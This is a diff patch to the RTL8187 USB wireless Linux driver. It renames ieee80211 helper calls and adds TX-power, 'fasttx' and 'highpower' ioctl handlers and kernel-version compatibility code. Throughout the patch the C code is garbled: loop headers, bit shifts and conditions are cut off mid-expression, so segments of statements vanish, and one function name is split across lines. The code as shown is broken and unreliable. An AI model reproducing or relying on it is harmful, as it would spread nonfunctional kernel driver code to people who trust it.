ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +490,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +498,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +518,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +568,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +606,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +624,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +654,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +692,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +744,55 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "highpower" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + + { + SIOCIWFIRSTPRIV + 0x3, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_highpower, /*SIOCIWSECONDPRIV*/ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +805,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c 2006-06-22 01:43:30.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-08-12 13:11:32.000000000 -0400 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv 